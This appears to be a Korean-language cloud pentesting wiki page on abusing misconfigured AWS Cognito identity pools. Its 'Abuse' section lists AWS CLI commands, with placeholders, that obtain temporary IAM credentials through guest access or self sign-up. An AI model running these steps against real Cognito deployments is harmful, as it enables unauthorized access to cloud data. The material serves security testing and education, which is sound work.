Cognito Misconfiguration
Cognito는 AWS에서 제공하는 사용자 인증 및 권한 부여 서비스이며 사용자 풀(User Pool)과 자격증명 풀(Identity Pool)로 이루어집니다. 잘못된 cognito 설정은 게스트 접근 활성화와 IAM에 필요 이상의 권한 부여가 되었을 때 발생할 수 있는 공격 방법론입니다.
cognito에서 게스트 접근 활성화는 정상적인 기능이며 다음과 같은 상황에서 사용될 수 있습니다.
무료 회원은 열람할 수 없는 로직을 구현하고 싶을 때 게스트 접근을 허용하고,
게스트 접근을 통해 얻은 임시 세션에서는 IAM 권한을 제한하여 버킷 내 리소스를 차등적으로 배포하지만 게스트 접근이 불필요함에도 실수로 허용하거나, 게스트 접근을 통해 얻은 임시 세션의 IAM 권한이 필요 이상일 경우에 공격자는 익명 권한으로도 버킷을 침해할 수 있습니다.
Abuse
# Cognito 자격 증명 풀(Identity Pool)에서 사용자의 IdentityId를 요청
aws cognito-identity get-id --identity-pool-id '<identity-pool-id>' --no-sign-request --region '<region>'
# 획득한 IdentityId를 이용해 임시 자격 증명(AccessKey, SecretKey, SessionToken) 요청
aws cognito-identity get-credentials-for-identity --identity-id '<identity-id>' --no-sign-request --region '<region>'
# 발급받은 임시 자격 증명을 AWS CLI 프로필에 저장
aws configure set aws_access_key_id '<AccessKeyId>'
aws configure set aws_secret_access_key '<SecretKey>'
aws configure set aws_session_token '<SessionToken>'# Cognito User Pool에 새 사용자 회원가입 요청
aws cognito-idp sign-up --client-id '<client-id>' --username '<username>' --password '<password>' --user-attributes Name='email',Value='<email>' --region '<region>'
# 이메일로 받은 인증 코드를 사용하여 계정 활성화
aws cognito-idp confirm-sign-up --client-id '<client-id>' --username '<username>' --confirmation-code '<confirm-code>' --region '<region>'
# 사용자 로그인 및 JWT 토큰(세션) 발급
aws cognito-idp initiate-auth --client-id '<client-id>' --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME='<username>',PASSWORD='<password>' --region '<region>'
# Cognito Federated Identity를 통한 Identity ID 발급
aws cognito-identity get-id --identity-pool-id '<identity-pool-id>' --logins "{ \"cognito-idp.region.amazonaws.com/'<user-pool-id>'\" : \"'<IdToken>'\" }" --region '<region>'
# AWS 임시 자격증명 발급
aws cognito-identity get-credentials-for-identity --identity-id '<identity-id>' --logins "{ \"cognito-idp.region.amazonaws.com/'<user-pool-id>'\" : \"'<IdToken>'\" }" --region '<region>'
# 발급받은 임시 자격 증명을 AWS CLI 프로필에 저장
aws configure set aws_access_key_id '<AccessKeyId>'
aws configure set aws_secret_access_key '<SecretKey>'
aws configure set aws_session_token '<SessionToken>'사용자 풀(User Pool)

cognito에 인증하기 위한 첫번째 단계에서 InitiateAuth 함수를 사용하여 JSON 요청 구문에 계정정보 및 사용자 풀 Client Id, 인증 흐름을 정의하여 요청합니다.

서버는 전달받은 요청대로 앱 클라이언트에 인증을 시도하여 인증이 성공한다면 JWT 형태로 인증 정보를 반환합니다. 게스트 접근을 통해 임시 자격증명을 획득하는 프로세스의 경우 이 단계가 생략됩니다.
자격증명 풀(Identity Pool)
서버는 JWT 토큰을 기반로 다음 단계를 거쳐 임시 자격증명을 배포합니다.
자격증명 풀 아이디에 대해 JWT 토큰을 포함한 요청으로 IdentityId 할당
할당된 IdentityId에 대해 JWT 토큰을 포함한 요청으로 임시 자격증명 할당
첫번째 단계에서 IdentityId를 발급받기 위해 클라이언트는 JWT 토큰을 포함하여 GetId 함수를 호출합니다.

이 함수는 같은 사용자에 대해서는 항상 동일한 IdentityId를 반환하고, 게스트 접근의 경우 일반적으로 요청마다 다른 IdentityId가 반환됩니다.
두번째 단계에서 클라이언트는 JWT 토큰을 포함하여 GetCredentialsForIdentity 함수를 호출합니다.

이 함수는 자격증명에 필요한 AccessKey, SecretKey, SessionToken를 반환하고 클라이언트는 이를 통해 기본적으로 1시간 동안 유효한 IAM 자격증명을 획득할 수 있습니다.
전체적인 인증 프로세스는 다음과 같습니다.
Demo

References
Last updated
